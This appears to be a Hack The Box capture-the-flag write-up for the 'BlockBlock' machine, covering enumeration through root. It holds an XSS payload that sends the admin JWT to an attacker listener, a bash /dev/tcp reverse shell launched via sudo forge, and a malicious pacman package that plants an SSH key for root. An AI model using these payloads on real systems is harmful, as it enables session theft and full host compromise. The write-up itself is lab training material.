> For the complete documentation index, see [llms.txt](https://runasdexter.gitbook.io/contents/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://runasdexter.gitbook.io/contents/machines/season-6/blockblock.md).

# BlockBlock

## Synopsis

**BlockBlock** is a linux hard machine created by [**0xOZ**](https://app.hackthebox.com/users/863918)**.** The <mark style="background-color:blue;">**report user**</mark> feature is vulnerable to **XSS**. Got the admin **JWT** token by exploiting **XSS** and admin account is accessed. The **blockchain** block can be viewed and one of the block contains the **keira** user password. The **keira** user can run **`forge`** command as a **paul** which is vulnerable to **RCE** and exploitable to gain the **paul** user reverse shell. The **paul** has a **`sudo`** privilege to run the **`pacman`** command which is package manager for arch linux. The malicious package is created to privilege escalate to **root** using **`pacman`**.

| OS    | Difficulty | Points | Release Date | Retired Date |
| ----- | ---------- | ------ | ------------ | ------------ |
| Linux | Hard       | 40     | 16-11-2024   | 29-03-2025   |

***

## Enumeration

### Nmap

Starting the **`nmap`** scan and found **`ssh`** and **http** services running.

```bash
nmap -Pn -sC -sV --min-rate=1000 10.10.11.43                                      
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-30 10:40 EDT
Nmap scan report for 10.10.11.43
Host is up (0.95s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey: 
|   256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_  256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-title:          Home  - DBLC    
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.36 seconds
```

### Web  - Port 80

The **port** **80** is hosting the **Decentralized Chat app** where the **ethereum** is used for making **chat** application .

<figure><img src="/files/QyM1z2zG3YEqBFTKuJa8" alt=""><figcaption></figcaption></figure>

Visiting the ***Chat*** and ***Profile*** endpoints without login gives us the **`{"msg":"Missing cookie "token""}`** message. The ***Register*** and ***Login*** endpoints provides us the form for **registration** and **login**.

<figure><img src="/files/AFAuhZWbfFwgvrXqiy4o" alt=""><figcaption></figcaption></figure>

Registering, gives us the access to the *chat* and ***profile*** endpoints. The ***chat*** has a **messaging** and **reporting** user features. The **BOT** sends us the greetings message in secure blockchain chat app. The *profile* shows the **username**, **role** and **recent** **messages** history. Currently I have a **user** role.

<div><figure><img src="/files/rLt28PjhL64TTKH69SGi" alt=""><figcaption><p><em><strong>chat</strong></em></p></figcaption></figure> <figure><img src="/files/cC8f9SUSO7D0bI6a9zPk" alt=""><figcaption><p><em><strong>profile</strong></em></p></figcaption></figure></div>

Sending message doesn't do anything and intercepting the request shows the **JWT** token.

<figure><img src="/files/qPiIDpuEbRZ09KaRsIxr" alt=""><figcaption></figcaption></figure>

The ***chat*** endpoints gives us link to the **smart contracts**. The two smart contract ***Chat.sol*** and ***Database.sol*** is present. The ***Chat.sol*** is used for handling chats and ***Database.sol*** is used database.

### File - Database.sol

{% code title="Database.sol" %}

```solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.23;

interface IChat {
    function deleteUserMessages(string calldata user) external;
}

contract Database {
    struct User {
        string password;
        string role;
        bool exists;
    }

    address immutable owner;
    IChat chat;

    mapping(string username => User) users;

    event AccountRegistered(string username);
    event AccountDeleted(string username);
    event PasswordUpdated(string username);
    event RoleUpdated(string username);

    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert("Only owner can call this function");
        }
        _;
    }
    modifier onlyExistingUser(string memory username) {
        if (!users[username].exists) {
            revert("User does not exist");
        }
        _;
    }

    constructor(string memory secondaryAdminUsername,string memory password) {
        users["admin"] = User(password, "admin", true);
        owner = msg.sender;
        registerAccount(secondaryAdminUsername, password);
    }

    function accountExist(string calldata username) public view returns (bool) {
        return users[username].exists;
    }

    function getAccount(
        string calldata username
    )
        public
        view
        onlyOwner
        onlyExistingUser(username)
        returns (string memory, string memory, string memory)
    {
        return (username, users[username].password, users[username].role);
    }

    function setChatAddress(address _chat) public {
        if (address(chat) != address(0)) {
            revert("Chat address already set");
        }

        chat = IChat(_chat);
    }

    function registerAccount(
        string memory username,
        string memory password
    ) public onlyOwner {
        if (
            keccak256(bytes(users[username].password)) != keccak256(bytes(""))
        ) {
            revert("Username already exists");
        }
        users[username] = User(password, "user", true);
        emit AccountRegistered(username);
    }

    function deleteAccount(string calldata username) public onlyOwner {
        if (!users[username].exists) {
            revert("User does not exist");
        }
        delete users[username];

        chat.deleteUserMessages(username);
        emit AccountDeleted(username);
    }

    function updatePassword(
        string calldata username,
        string calldata oldPassword,
        string calldata newPassword
    ) public onlyOwner onlyExistingUser(username) {
        if (
            keccak256(bytes(users[username].password)) !=
            keccak256(bytes(oldPassword))
        ) {
            revert("Invalid password");
        }

        users[username].password = newPassword;
        emit PasswordUpdated(username);
    }

    function updateRole(
        string calldata username,
        string calldata role
    ) public onlyOwner onlyExistingUser(username) {
        if (!users[username].exists) {
            revert("User does not exist");
        }

        users[username].role = role;
        emit RoleUpdated(username);
    }
}
```

{% endcode %}

The above code creates the struct with password, role and exists. It contains the functions for registering user, updating role, changing password, deleting messages and so on.

***

## Exploitation

### Report User Feature - XSS \[ Getting Admin JWT token ]

Opening the **`python`** server and testing the **XSS** payload in <mark style="background-color:blue;">**Report User**</mark> feature gives us the positive result.

<figure><img src="/files/K9NvtXOovrXt2cx0lU8K" alt=""><figcaption></figcaption></figure>

```bash
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.43 - - [01/Apr/2025 08:13:42] "GET / HTTP/1.1" 200 -
10.10.11.43 - - [01/Apr/2025 08:14:03] "GET / HTTP/1.1" 200 -
```

I am going to get the admin **JWT** token. The cookie has the **HttpOnly** flag set, so the **`document.cookie`** doesn't gives us the cookie. The ***/app/info*** endpoint leaks the **JWT** token and I will be using **script** to **`fetch`** the token from the endpoint and send the request to my **`nc`** listener.

```javascript
<img src="x" onerror="fetch('http://10.10.11.43/api/info').then(resp => resp.text()).then(body => { fetch('http://10.10.16.34:8443', { method: 'POST', body: body});})" />
```

```bash
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.43 54374
POST / HTTP/1.1
Host: 10.10.16.34:8443
Connection: keep-alive
Content-Length: 316
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.5938.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.10.11.43
Referer: http://10.10.11.43/
Accept-Encoding: gzip, deflate

{"role":"admin","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MzUxNzkyMCwianRpIjoiYjAzM2IxYjEtZTk4ZC00YWFlLWI5NzctMDllOThhMTRlNzI3IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzQzNTE3OTIwLCJleHAiOjE3NDQxMjI3MjB9.wcnpFL0HcVwyGlV0D2QmV92w7055AgILcMDU1P7PoPU","username":"admin"}
```

Changed the value of **cookie** using **dev** **tools** and refreshed the page. Got the **admin** access.

<figure><img src="/files/y7YzVymY8K5bDzIqSJVU" alt=""><figcaption></figcaption></figure>

***

## Foothold

### Shell - keira \[ Getting Raw Blockchain ]

The **admin** panel is making ***/api/chat\_address*** <mark style="background-color:green;">GET</mark> request and ***/api/json-rpc*** <mark style="background-color:orange;">POST</mark> request.

<div><figure><img src="/files/nDGHve6A7YZrlPMNDInW" alt=""><figcaption><p><em><strong>/api/chat_address</strong></em></p></figcaption></figure> <figure><img src="/files/g206fKdXqVE1QIcu4WYs" alt=""><figcaption><p><em><strong>/api/json-rpc</strong></em></p></figcaption></figure></div>

The ***/api/json-rpc*** can be used to get the block details with the help of [**eth\_getBlockByNumber()**](https://ethereum.org/en/developers/docs/apis/json-rpc/#eth_getblockbynumber)**.** function. Sending the request to ***/api/json-rpc*** with method as **eth\_getBlockByNumber** gives us the information about the blocks.

<figure><img src="/files/Tghp2AeOY3l2t0Ivx71K" alt=""><figcaption></figcaption></figure>

Getting the **block** **1** input and **decoding** it using **cyberchef** leaks the **credentials** of user **keira**.

<figure><img src="/files/QnjsxJEMpcR2QF0dI7ly" alt=""><figcaption></figcaption></figure>

The credentials is also used in **`ssh`**.

```bash
ssh keira@10.10.11.43          
The authenticity of host '10.10.11.43 (10.10.11.43)' can't be established.
ED25519 key fingerprint is SHA256:Yxhk4seV11xMS6Vp0pPoLicen3kJ7RAkXssZiL2/t3c.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.43' (ED25519) to the list of known hosts.
keira@10.10.11.43's password: 
Last login: Tue Apr  1 07:46:45 2025 from 10.10.14.111
[keira@blockblock ~]$ 
```

{% hint style="info" %}
The ***user.txt*** file contains the user flag :clap:
{% endhint %}

***

## Lateral Movement

### Pillaging - keira \[ user ]

The user **keira** has a privilege to run the foundry **`forge`** with **`sudo`** privilege as **paul** user which is present in **paul** ***home*** directory.

```bash
[keira@blockblock ~]$ sudo -l
User keira may run the following commands on blockblock:
    (paul : paul) NOPASSWD: /home/paul/.foundry/bin/forge
[keira@blockblock ~]$ 
```

### Shell - paul \[ RCE via forge ]

**Forge** is a **command-line tool** that ships with **Foundry**. Forge tests, builds, and deploys **smart** **contracts**.

#### Methodology

The **`forge`** **build** contains the **--use** flag  for specifying the ***solc*** version, or a path to a local ***solc***, to build with. It can be used to specify the path to ***reverse shell file*** and **`forge`** will build with the reverse shell and the reverse shell is established in our **`nc`**.

#### Exploit

{% stepper %}
{% step %}

#### Create the reverse shell

{% code title="shell.sh" %}

```bash
#!/bin/bash

bash -i >& /dev/tcp/10.10.16.34/8443 0>&1
```

{% endcode %}

Make it executable.

```bash
[keira@blockblock tmp]$ chmod +x shell.sh
```

{% endstep %}

{% step %}

#### Getting shell

Open **`nc`** listener and run the **`forge`** **build** with **--use** flag.

```bash
[keira@blockblock tmp]$ sudo -u paul /home/paul/.foundry/bin/forge build --use /tmp/shell.sh
```

```bash
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.43 46360
[paul@blockblock tmp]$ whoami
whoami
paul
[paul@blockblock tmp]$ 
```

{% endstep %}
{% endstepper %}

***

## Privilege Escalation

### Pillaging - paul \[ user ]

The **paul** is privileged to run the **`pacman`** cli as **root** which is the **arch linux** package manager same as **apt** on debian based linux distros.

```bash
[paul@blockblock ~]$ sudo -l
sudo -l
User paul may run the following commands on blockblock:
    (ALL : ALL) NOPASSWD: /usr/bin/pacman
[paul@blockblock ~]$ 
```

### Shell - root \[ pacman privilege escalation ]

**TheCyberSimon** has created the [**blog**](https://thecybersimon.com/posts/Privilege-Escalation-via-Pacman/) post about privilege escalation using **`pacman`**.

#### Methodology

Creating malicious package which is used to add our public **SSH** key to root ***authorized\_keys*** file.

#### Exploit

{% stepper %}
{% step %}

#### Creating *PKGBUILD* file

{% code title="PKGBUILD" %}

```
pkgname=privesc
pkgver=1.0
pkgrel=1
pkgdesc="Privilege escalation"
arch=('any')
url="http://example.com"
license=('GPL')
depends=()
makedepends=()
source=('authorized_keys')
sha256sums=('SKIP')
package() {
  install -Dm755 "$srcdir/authorized_keys" "$pkgdir/root/.ssh/authorized_keys"
}
```

{% endcode %}
{% endstep %}

{% step %}

#### Generating `SSH` keys

```bash
[paul@blockblock tmp]$ ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
[paul@blockblock tmp]$ mv id_rsa.pub authorized_keys
```

{% endstep %}

{% step %}

#### Building package

The **`makepkg`** is used to build packages in arch linux.

```bash
[paul@blockblock tmp]$ makepkg
makepkg
==> Making package: privesc 1.0-1 (Wed 02 Apr 2025 11:15:03 AM UTC)
==> Checking runtime dependencies...
==> Checking buildtime dependencies...
==> Retrieving sources...
  -> Found authorized_keys
==> Validating source files with sha256sums...
    authorized_keys ... Skipped
==> Extracting sources...
==> Entering fakeroot environment...
==> Starting package()...
==> Tidying install...
  -> Removing libtool files...
  -> Purging unwanted files...
  -> Removing static library files...
  -> Stripping unneeded symbols from binaries and libraries...
  -> Compressing man and info pages...
==> Checking for packaging issues...
==> Creating package "privesc"...
  -> Generating .PKGINFO file...
  -> Generating .BUILDINFO file...
  -> Generating .MTREE file...
  -> Compressing package...
==> Leaving fakeroot environment.
==> Finished making: privesc 1.0-1 (Wed 02 Apr 2025 11:15:04 AM UTC)
[paul@blockblock tmp]$ 
```

{% endstep %}

{% step %}

#### Install the package

Previously the **`makepkg`** command created the ***.zst*** file. To install the package the **`pacman`** command is used.

```bash
[paul@blockblock tmp]$ sudo /usr/bin/pacman -U /tmp/privesc-1.0-1-any.pkg.tar.zst
sudo /usr/bin/pacman -U /tmp/privesc-1.0-1-any.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) privesc-1.0-1

Total Installed Size:  0.00 MiB

:: Proceed with installation? [Y/n] Y 
Y
checking keyring...
checking package integrity...
loading package files...
checking for file conflicts...
checking available disk space...
:: Processing package changes...
installing privesc...
warning: directory permissions differ on /root/
filesystem: 700  package: 755
warning: directory permissions differ on /root/.ssh/
filesystem: 700  package: 755
[paul@blockblock tmp]$
```

{% endstep %}

{% step %}

#### Transfering *id\_rsa* to our machine

The **`python3`** is present in machine. So, I will be using **`python`** **http** server for serving the file.

```bash
[paul@blockblock tmp]$ python3 -m http.server
```

```bash
wget http://10.10.11.43:8000/id_rsa                                                                           
--2025-04-02 07:18:20--  http://10.10.11.43:8000/id_rsa
Connecting to 10.10.11.43:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3381 (3.3K) [application/octet-stream]
Saving to: ‘id_rsa’

id_rsa                                      100%[========================================================================================>]   3.30K  15.5KB/s    in 0.2s    

2025-04-02 07:18:21 (15.5 KB/s) - ‘id_rsa’ saved [3381/3381]
```

Change the permission of id\_rsa to 600.

```bash
chmod 600 id_rsa
```

{% endstep %}

{% step %}

#### Getting shell

```bash
ssh -i id_rsa root@10.10.11.43                    
Last login: Thu Nov 14 14:47:11 2024
[root@blockblock ~]# ls
root.txt  scripts
[root@blockblock ~]# 
```

{% endstep %}
{% endstepper %}

{% hint style="info" %}
The root.txt file contains the root flag :tada:
{% endhint %}

***

## Proof of Concept

The below video provides the **PoC** of **BlockBlock** machine.

{% embed url="<https://odysee.com/@runasdexter:a/blockblock:f>" %}
